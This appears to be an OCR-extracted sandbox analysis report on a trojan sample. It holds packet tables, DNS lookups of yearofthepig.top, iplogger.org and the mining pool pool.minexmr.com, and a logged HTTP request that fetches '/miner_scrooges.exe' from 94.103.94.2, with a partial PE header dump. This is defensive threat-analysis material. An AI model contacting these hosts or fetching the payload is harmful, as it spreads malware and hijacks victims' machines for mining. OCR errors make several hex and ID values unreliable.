Feb 23, 2021 10:03:27.260934114 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:27.260946035 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:27.261137009 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:27.274630070 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:27.316467047 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:27.316860914 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:27.339431047 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:27.339658022 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:27.380137920 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:27.380187988 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.034770012 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.034795046 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.034806967 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.034818888 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.034987926 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.035018921 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.053555012 CET 49745 443 192.168.2.6 104.21.50.15
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Timestamp Source Port Dest Port Source IP Dest IP

Feb 23, 2021 10:03:28.094139099 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.444751978 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.444771051 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.444905996 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.444931030 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.444946051 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.445041895 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.445452929 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.445477962 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.445564032 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.446436882 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.446455956 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.446547985 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.447426081 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.447444916 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.447559118 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.448406935 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.448425055 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.448508024 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.449363947 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.449381113 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.449465990 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.450356960 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.450375080 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.450443983 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.451332092 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.451351881 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.451411009 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.452311039 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.453366041 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.453397989 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.453418970 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.453475952 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.453506947 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.454314947 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.454339027 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.454406977 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.455244064 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.456224918 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.456243038 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.456257105 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.456315041 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.456343889 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.464360952 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.464376926 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.464641094 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.464653969 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.464674950 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.464704990 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.465096951 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.465116024 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.465190887 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.466079950 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.466097116 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:28.466170073 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:28.467139006 CET 443 49745 104.21.50.15 192.168.2.6

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Feb 23, 2021 10:02:18.059504032 CET 64267 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:18.127444983 CET 53 64267 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:24.423496008 CET 49448 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:24.565150976 CET 53 49448 8.8.8.8 192.168.2.6
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Timestamp Source Port Dest Port Source IP Dest IP

Feb 23, 2021 10:02:25.490458965 CET 60342 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:25.542022943 CET 53 60342 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:26.940660000 CET 61346 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:26.989296913 CET 53 61346 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:27.749142885 CET 51774 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:27.798959017 CET 53 51774 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:29.018677950 CET 56023 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:29.067504883 CET 53 56023 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:30.187688112 CET 58384 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:30.239145994 CET 53 58384 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:31.384622097 CET 60261 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:31.435951948 CET 53 60261 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:32.531446934 CET 56061 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:32.580013990 CET 53 56061 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:33.698954105 CET 58336 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:33.750329971 CET 53 58336 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:34.862010002 CET 53781 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:34.910964966 CET 53 53781 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:35.816535950 CET 54064 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:35.865415096 CET 53 54064 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:36.618460894 CET 52811 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:36.667109013 CET 53 52811 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:37.753935099 CET 55299 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:37.806057930 CET 53 55299 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:39.121968031 CET 63745 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:39.170671940 CET 53 63745 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:40.329771996 CET 50055 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:40.381288052 CET 53 50055 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:43.483356953 CET 61374 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:43.534701109 CET 53 61374 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:44.646984100 CET 50339 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:44.698527098 CET 53 50339 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:45.772525072 CET 63307 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:45.821075916 CET 53 63307 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:46.971546888 CET 49694 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:47.023173094 CET 53 49694 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:50.805012941 CET 54982 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:50.854280949 CET 53 54982 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:52.278798103 CET 50010 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:52.327486038 CET 53 50010 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:55.744771957 CET 63718 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:55.803234100 CET 53 63718 8.8.8.8 192.168.2.6
Feb 23, 2021 10:02:58.521306038 CET 62116 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:02:58.569876909 CET 53 62116 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:02.409909964 CET 63816 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:02.580238104 CET 53 63816 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:11.226223946 CET 55014 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:11.285290956 CET 53 55014 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:11.389533043 CET 62208 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:11.440931082 CET 53 62208 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:12.751976967 CET 57574 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:12.803528070 CET 53 57574 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:13.262063026 CET 51818 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:13.310841084 CET 53 51818 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:25.345822096 CET 56628 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:25.406975985 CET 53 56628 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:26.507141113 CET 60778 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:26.555986881 CET 53 60778 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:27.101156950 CET 53799 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:27.160234928 CET 53 53799 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:29.139626026 CET 54683 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:29.199414968 CET 53 54683 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:29.912641048 CET 59329 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:29.969506979 CET 53 59329 8.8.8.8 192.168.2.6
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Timestamp Source Port Dest Port Source IP Dest IP

Feb 23, 2021 10:03:30.719768047 CET 64021 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:30.768476009 CET 53 64021 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:31.667098999 CET 56129 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:31.715876102 CET 53 56129 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:32.378398895 CET 58177 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:32.440721989 CET 53 58177 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:33.130228043 CET 50700 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:33.156507015 CET 54069 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:33.179126024 CET 53 50700 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:33.231486082 CET 53 54069 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:33.981353045 CET 61178 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:34.030237913 CET 53 61178 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:35.341022015 CET 57017 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:35.392653942 CET 53 57017 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:37.140485048 CET 56327 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:37.197537899 CET 53 56327 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:38.554807901 CET 50243 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:38.614964962 CET 53 50243 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:44.058954954 CET 62055 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:44.126852036 CET 53 62055 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:55.308593988 CET 61249 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:55.367209911 CET 53 61249 8.8.8.8 192.168.2.6
Feb 23, 2021 10:03:55.792581081 CET 65252 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:03:55.849533081 CET 53 65252 8.8.8.8 192.168.2.6
Feb 23, 2021 10:04:04.087052107 CET 64367 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:04:04.144579887 CET 53 64367 8.8.8.8 192.168.2.6
Feb 23, 2021 10:04:05.905208111 CET 55066 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:04:05.962379932 CET 53 55066 8.8.8.8 192.168.2.6
Feb 23, 2021 10:04:07.472896099 CET 60211 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:04:07.521632910 CET 53 60211 8.8.8.8 192.168.2.6
Feb 23, 2021 10:04:09.436032057 CET 56570 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:04:10.433203936 CET 56570 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:04:11.435808897 CET 56570 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:04:11.485845089 CET 53 56570 8.8.8.8 192.168.2.6
Feb 23, 2021 10:04:13.895097971 CET 58454 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:04:13.945507050 CET 53 58454 8.8.8.8 192.168.2.6
Feb 23, 2021 10:04:14.442621946 CET 55180 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:04:14.491235018 CET 53 55180 8.8.8.8 192.168.2.6
Feb 23, 2021 10:04:28.955684900 CET 58721 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:04:29.013973951 CET 53 58721 8.8.8.8 192.168.2.6
Feb 23, 2021 10:04:34.915543079 CET 57691 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:04:34.975405931 CET 53 57691 8.8.8.8 192.168.2.6
Feb 23, 2021 10:04:45.551011086 CET 52943 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:04:46.542449951 CET 52943 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:04:46.591413021 CET 53 52943 8.8.8.8 192.168.2.6
Feb 23, 2021 10:04:47.860049963 CET 59489 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:04:47.909043074 CET 53 59489 8.8.8.8 192.168.2.6
Feb 23, 2021 10:04:49.216634035 CET 64022 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:04:49.265408039 CET 53 64022 8.8.8.8 192.168.2.6
Feb 23, 2021 10:04:51.262645006 CET 60023 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:04:51.319708109 CET 53 60023 8.8.8.8 192.168.2.6
Feb 23, 2021 10:05:00.478351116 CET 57193 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:05:00.530077934 CET 53 57193 8.8.8.8 192.168.2.6
Feb 23, 2021 10:05:01.396343946 CET 50248 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:05:01.447868109 CET 53 50248 8.8.8.8 192.168.2.6
Feb 23, 2021 10:05:02.309353113 CET 64413 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:05:02.360965014 CET 53 64413 8.8.8.8 192.168.2.6
Feb 23, 2021 10:05:03.588964939 CET 60429 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:05:03.640496016 CET 53 60429 8.8.8.8 192.168.2.6
Feb 23, 2021 10:05:04.990396976 CET 60345 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:05:05.050628901 CET 53 60345 8.8.8.8 192.168.2.6
Feb 23, 2021 10:05:08.176920891 CET 58730 53 192.168.2.6 8.8.8.8
Feb 23, 2021 10:05:08.236329079 CET 53 58730 8.8.8.8 192.168.2.6
Feb 23, 2021 10:06:44.788110018 CET 53830 53 192.168.2.6 8.8.8.8
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Timestamp

Feb 23, 2021 10:06:44.841145039 CET

DNS Queries

Timestamp

Feb 23, 2021 10:03:02.409909964 CET
Feb 23, 2021 10:03:27.101156950 CET
Feb 23, 2021 10:04:34.915543079 CET
Feb 23, 2021 10:04:51.262645006 CET
Feb 23, 2021 10:05:04.990396976 CET

Feb 23, 2021 10:05:08.176920891 CET

DNS Answers

Timestamp Source IP

Feb 23, 2021 8.8.8.8
10:03:02.580238104
CET

Feb 23, 2021 8.8.8.8
10:03:27.160234928
CET

Feb 23, 2021 8.8.8.8
10:03:27.160234928
CET

Feb 23, 2021 8.8.8.8
10:04:34.975405931
CET

Feb 23, 2021 8.8.8.8
10:04:34.975405931
CET

Feb 23, 2021 8.8.8.8
10:04:51.319708109
CET

Feb 23, 2021 8.8.8.8
10:04:51.319708109
CET

Feb 23, 2021 8.8.8.8
10:05:05.050628901
CET

Feb 23, 2021 8.8.8.8
10:05:08.236329079
CET

Feb 23, 2021 8.8.8.8
10:05:08.236329079
CET

Feb 23, 2021 8.8.8.8
10:05:08.236329079
CET

Feb 23, 2021 8.8.8.8
10:05:08.236329079
CET

Feb 23, 2021 8.8.8.8
10:05:08.236329079
CET

Feb 23, 2021 8.8.8.8
10:05:08.236329079
CET

Feb 23, 2021 8.8.8.8
10:05:08.236329079
CET

Feb 23, 2021 8.8.8.8
10:05:08.236329079
CET

Dest IP
192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

HTTP Request Dependency Graph

Copyright null 2021

Source IP

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

192.168.2.6

Trans ID

0x905d

Ox57f

Ox57f

0xbc86

0xbc86

Ox3cfa

Ox3cfa

0x3e50

0x4f23

0x4f23

0x4f23

0x4f23

0x4f23

0x4f23

0x4f23

0x4f23

Source Port

53

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Dest Port
53830

Trans ID

0x905d

Ox57f

0xbc86

Ox3cfa

0x3e50

0x4f23

Name

tttttt. me

yearofthepig.top

yearofthepig.top

yearofthepig.top

yearofthepig.top

yearofthepig.top

yearofthepig.top

iplogger.org

pool.minex
mr.com

pool.minex
mr.com

pool.minex
mr.com

pool.minex
mr.com

pool.minex
mr.com

pool.minex
mr.com

pool.minex
mr.com

pool.minex
mr.com

Source IP

8.8.8.8

OP Code
Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
(0)

CName

Name

tttttt. me

yearofthepig.top

yearofthepig.top

yearofthepig.top

iplogger.org

pool.minex
mr.com

Address

95.216.186.40

104.21.50.15

172.67.199.58

104.21.50.15

172.67.199.58

172.67.199.58

104.21.50.15

88.99.66.31

51.254.84.37

51.68.21.186

94.130.165.85

51.68.21.188

94.130.164.163

178.32.120.127

94.130.165.87

88.99.193.240

Dest IP
192.168.2.6

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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e 94.103.94.2

HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.6 49774 94.103.94.2 80 C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
kBytes

Timestamp transferred Direction Data

Feb 23, 2021 10063 ouT GET /miner_scrooges.exe HTTP/1.1

10:04:52.813858032 CET Cache-Control: no-cache

Connection: Keep-Alive
Pragma: no-cache
Host: 94.103.94.2

Feb 23, 2021 10065 IN HTTP/1.1 200 OK

10:04:52.865109921 CET Server: nginx
Date: Tue, 23 Feb 2021 09:04:52 GMT
Content-Type: application/octet-stream
Content-Length: 2815200
Connection: keep-alive
Keep-Alive: timeout=60
Last-Modified: Tue, 23 Feb 2021 08:47:08 GMT
ETag: "2af4e0-5bbfcf6a9b9ch”
Accept-Ranges: bytes
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 1e f7 32 60 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01
Ob 00 00 50 00 00 00 08 00 00 00 00 00 00 58 €0 48 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 73 00 00 04 00 00 74 3a 2b 00 02 00 40 80 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3a cO 00 00 50 00 00 00 00 e0 00 00 e4 05 00
00 00 00 00 00 00 00 00 00 00 be 2a 00 e0 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 00 60 00 00
00 20 00 00 00 2a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 e8 05 00
00 00 80 00 00 00 04 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 Oc 00
00 00 00 a0 00 00 00 02 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00
20 00 00 00 cO 00 00 00 02 00 00 00 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00
00 20 00 00 00 e0 00 00 00 06 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 68 65 6d 69 64
61 00 e0 47 00 00 00 01 00 00 00 00 00 00 3¢ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 €0 2e 62 6f 6f 74 00 00
00 00 82 2a 00 00 e0 48 00 00 82 2a 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 da 61 6e 2a 6b 99 61 cb 68 4d c8 cf 8a 92 d5 23 0d 3e cd c4 72 74 c7 cd 6b 6e 51 b5 5a
7d d5 8f
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL2'PXH @ st:+@:P*6 TR @@
2@B.idata 4@.rsrc 6@ @.themidaG<".boot*H*<""an*kahM#>rtknQZ}

HTTPS Packets

Source Dest Not Not JA3 SSL Client
Timestamp Source IP Port Dest IP Port  Subject Issuer Before After Fingerprint JA3 SSL Client Digest
Feb 23, 2021 95.216.186.40 443 192.168.2.6 49736 CN=tttttt.me CN=R3, O=Let's CN=R3, O=Let's FriJan Thu Apr 771,49196-49195- ce5f3254611a8c095a3d8
10:03:12.864870071 Encrypt, C=US Encrypt, C=US 01 01 49200-49199-159- 21d44539877
CET CN=DST Root CA 09:37:32 10:37:32 158-49188-49187-
X3, O=Digital CET CEST  49192-49191-

Signature Trust Co. 2021 2021 49162-49161-
Wed Oct Wed 49172-49171-157-
07 Sep29 156-61-60-53-47-
21:21:40 21:21:40 10,0-5-10-11-13-
CEST CEST  35-23-65281,29-
2020 2021 23-24,0

CN=R3, O=Let's Encrypt, CN=DST Root CA Wed Oct Wed
C=USs X3, O=Digital 07 Sep 29
Signature Trust Co.  21:21:40 21:21:40
CEST CEST
2020 2021
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Source Dest
Timestamp Source IP Port Dest IP Port
Feb 23, 2021 104.21.50.15 443 192.168.2.6 49745
10:03:27.260934114
CET
Feb 23, 2021 104.21.50.15 443 192.168.2.6 49769
10:04:36.629321098
CET
Feb 23, 2021 172.67.199.58 443 192.168.2.6 49773
10:04:51.435352087
CET

Code Manipulations

Statistics

Behavior

@ Click to jump to process

Copyright null 2021

Subject Issuer
CN-=sni.cloudflaressl.com, CN=Cloudflare Inc
O="Cloudflare, Inc.", L=San ECC CA-3,
Francisco, ST=California, O="Cloudflare, Inc.",
C=US CN=Cloudflare Inc ECC C=US CN=Baltimore
CA-3, O="Cloudflare, Inc.", CyberTrust Root,
C=UsS OU=CyberTrust,

O=Baltimore, C=IE

CN=Cloudflare Inc ECC CA-3, CN=Baltimore
O="Cloudflare, Inc.", C=US CyberTrust Root,
OU=CyberTrust,

O=Baltimore, C=IE
CN-=sni.cloudflaressl.com, CN=Cloudflare Inc
O="Cloudflare, Inc.", L=San ECC CA-3,
Francisco, ST=California, O="Cloudflare, Inc.",
C=US CN=Cloudflare Inc ECC C=US CN=Baltimore
CA-3, O="Cloudflare, Inc.", CyberTrust Root,
C=UsS OU=CyberTrust,

O=Baltimore, C=IE

